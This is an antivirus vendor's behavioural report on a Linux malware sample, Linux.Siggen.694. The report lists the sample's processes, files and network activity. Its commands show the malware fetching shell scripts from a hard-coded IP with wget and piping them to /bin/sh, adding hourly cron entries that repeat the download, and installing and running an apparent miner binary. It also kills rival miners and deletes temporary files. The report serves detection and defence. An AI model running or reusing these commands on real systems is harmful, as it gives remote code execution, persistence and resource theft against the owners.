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Linux.Siggen.694

Added to the Dr.Web virus database: 2018-07-04

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Removes itself
Launches itself as a daemon
Launches processes:
  • <SAMPLE_FULL_PATH> 2
  • /bin/sh -c /usr/bin/wget -q -O - http://103.233.82.32/izxcv.sh | /bin/sh
  • /usr/bin/wget -q -O - http://103.233.82.32/izxcv.sh
  • /bin/sh
  • /bin/sh -c mkdir -p /var/spool/cron/crontabs
  • mkdir -p /var/spool/cron/crontabs
  • /bin/sh -c uname -m
  • uname -m
  • /bin/sh -c echo \"0 * * * * /usr/bin/wget -q -O - http://103.233.82.32/i.sh | /bin/sh\" > /var/spool/cron/root
  • /bin/sh -c echo \"0 * * * * /usr/bin/wget -q -O - http://103.233.82.32/i.sh | /bin/sh\" > /var/spool/cron/crontabs/root
  • /bin/sh -c /usr/bin/wget -q -O - http://103.233.82.32/izxcvb.sh | /bin/sh
  • /usr/bin/wget -q -O - http://103.233.82.32/izxcvb.sh
  • mkdir /etc/seconfig
  • rm /etc/seconfig/pools.txt
  • rm /etc/seconfig/config.json
  • grep -v grep
  • grep redis-server\|hash\|xmr\|\.sr0\|Circle_MI\|get.bi-chi.com\|pool\|ddg\.\|mirai
  • ps xf
  • wget -q http://103.233.82.32/xorgg.i686 -O /etc/seconfig/xorgg
  • wget -q http://103.233.82.32/ccc -O /etc/seconfig/cpu.txt
  • wget -q http://103.233.82.32/cccc -O /etc/seconfig/config.txt
  • wget -q http://103.233.82.32/con -O /etc/seconfig/config.json
  • wget -q http://103.233.82.32/ppp -O /etc/seconfig/pools.txt
  • ps auxf
  • grep Circle_MI
  • awk {print $2}
  • xargs kill
  • kill
  • grep get.bi-chi.com
  • grep hashvault.pro
  • grep nanopool.org
  • grep minexmr.com
  • grep /boot/efi/
  • grep /ddg.
  • grep xorgg
  • grep -q 8.8.8.8 /etc/resolv.conf
  • rm -rf /var/tmp/*
  • rm -rf /tmp/samba
  • chmod +x /etc/seconfig/xorgg
  • sleep 2
  • /etc/seconfig/xorgg
Performs operations with the file system:
Modifies file access rights:
  • /etc/seconfig/xorgg
Creates folders:
  • /etc/seconfig
Creates or modifies files:
  • /var/spool/cron/root
  • /etc/seconfig/xorgg
  • /etc/seconfig/cpu.txt
  • /etc/seconfig/config.txt
  • /etc/seconfig/config.json
  • /etc/seconfig/pools.txt
  • /etc/resolv.conf
  • /var/log/wtmp
  • /var/log/secure
  • /root/.bash_history
Deletes files:
  • /etc/seconfig/pools.txt
  • /etc/seconfig/config.json
  • /var/tmp/*
  • /tmp/samba
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:47292
Establishes connection:
  • 10#.##3.83.23:27
HTTP GET requests:
  • 10#.###.82.32/izxcv.sh
  • 10#.###.82.32/izxcvb.sh
  • 10#.###.82.32/xorgg.i686
  • 10#.##3.82.32/ccc
  • 10#.##3.82.32/cccc
  • 10#.##3.82.32/con
  • 10#.##3.82.32/ppp
Sends data to the following servers:
  • 10#.##3.83.23:27
Receives data from the following servers:
  • 10#.##3.83.23:27
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

Curing recommendations


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